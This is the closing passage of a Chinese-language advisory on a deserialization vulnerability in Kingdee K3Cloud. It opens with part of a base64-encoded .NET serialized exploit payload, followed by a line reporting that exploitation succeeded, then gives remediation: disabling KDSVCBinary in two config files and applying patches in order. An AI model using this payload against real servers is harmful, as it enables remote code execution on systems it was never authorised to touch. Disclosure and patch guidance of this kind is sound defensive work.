sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0JPgAAAAoJPgAAAAZqAAAAHlN5c3RlbS5Db2xsZWN0aW9ucy5JRW51bWVyYXRvcgZrAAAACE1vdmVOZXh0CgFJAAAAQwAAAAlrAAAACT4AAAAJagAAAAZuAAAAEkJvb2xlYW4gTW92ZU5leHQoKQZvAAAAGVN5c3RlbS5Cb29sZWFuIE1vdmVOZXh0KCkIAAAACgFKAAAAQgAAAAZwAAAAvQJTeXN0ZW0uRnVuY2AyW1tTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5JRW51bWVyYXRvcmAxW1tTeXN0ZW0uVHlwZSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0sIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5UeXBlLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQk+AAAACgk+AAAABnIAAACEAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLklFbnVtZXJhdG9yYDFbW1N5c3RlbS5UeXBlLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQZzAAAAC2dldF9DdXJyZW50CgFLAAAAQwAAAAlzAAAACT4AAAAJcgAAAAZ2AAAAGVN5c3RlbS5UeXBlIGdldF9DdXJyZW50KCkGdwAAABlTeXN0ZW0uVHlwZSBnZXRfQ3VycmVudCgpCAAAAAoBTAAAAEIAAAAGeAAAAMYBU3lzdGVtLkZ1bmNgMltbU3lzdGVtLlR5cGUsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5PYmplY3QsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dCT4AAAAKCT4AAAAGegAAABBTeXN0ZW0uQWN0aXZhdG9yBnsAAAAOQ3JlYXRlSW5zdGFuY2UKAU0AAABDAAAACXsAAAAJPgAAAAl6AAAABn4AAAApU3lzdGVtLk9iamVjdCBDcmVhdGVJbnN0YW5jZShTeXN0ZW0uVHlwZSkGfwAAAClTeXN0ZW0uT2JqZWN0IENyZWF0ZUluc3RhbmNlKFN5c3RlbS5UeXBlKQgAAAAKAU4AAAAPAAAABoAAAAAmU3lzdGVtLkNvbXBvbmVudE1vZGVsLkRlc2lnbi5Db21tYW5kSUQEAAAACToAAAAQTwAAAAIAAAAJggAAAAgIACAAAASCAAAAC1N5c3RlbS5HdWlkCwAAAAJfYQJfYgJfYwJfZAJfZQJfZgJfZwJfaAJfaQJfagJfawAAAAAAAAAAAAAACAcHAgICAgICAgITE9J07irREYv7AKDJDyb3Cws=","format":"3"}

利用成功

0x06 修复建议

临时缓解方案

8.x版本可通过手动添加安全配置并重启IIS的方式进行缓解，注意管理中心与普通应用配置文件均需添加：

# 普通应用配置：{WebROOT}KingdeeK3CloudWebSiteApp_DataCommon.config
# 管理中心配置：{WebROOT}KingdeeK3CloudServicesManagementServiceApp_DataCommon.config

EnabledKDSVCBinary = false

由于该漏洞不仅影响管理中心（默认8000端口），也影响普通应用（默认80端口）。如果其它版本通过限制访问来源临时缓解漏洞，需要考虑是否会中断普通用户Web业务。

升级修复方案

7.x版本必须先安装全量补丁（修复代码）后安装临时补丁（添加安全配置）

8.x版本管理中心（默认8000端口）默认不对外开放，且包含修复代码。但是直接安装临时补丁可能会失败，所以依旧建议先安装全量补丁（修复代码）后安装临时补丁（添加安全配置）。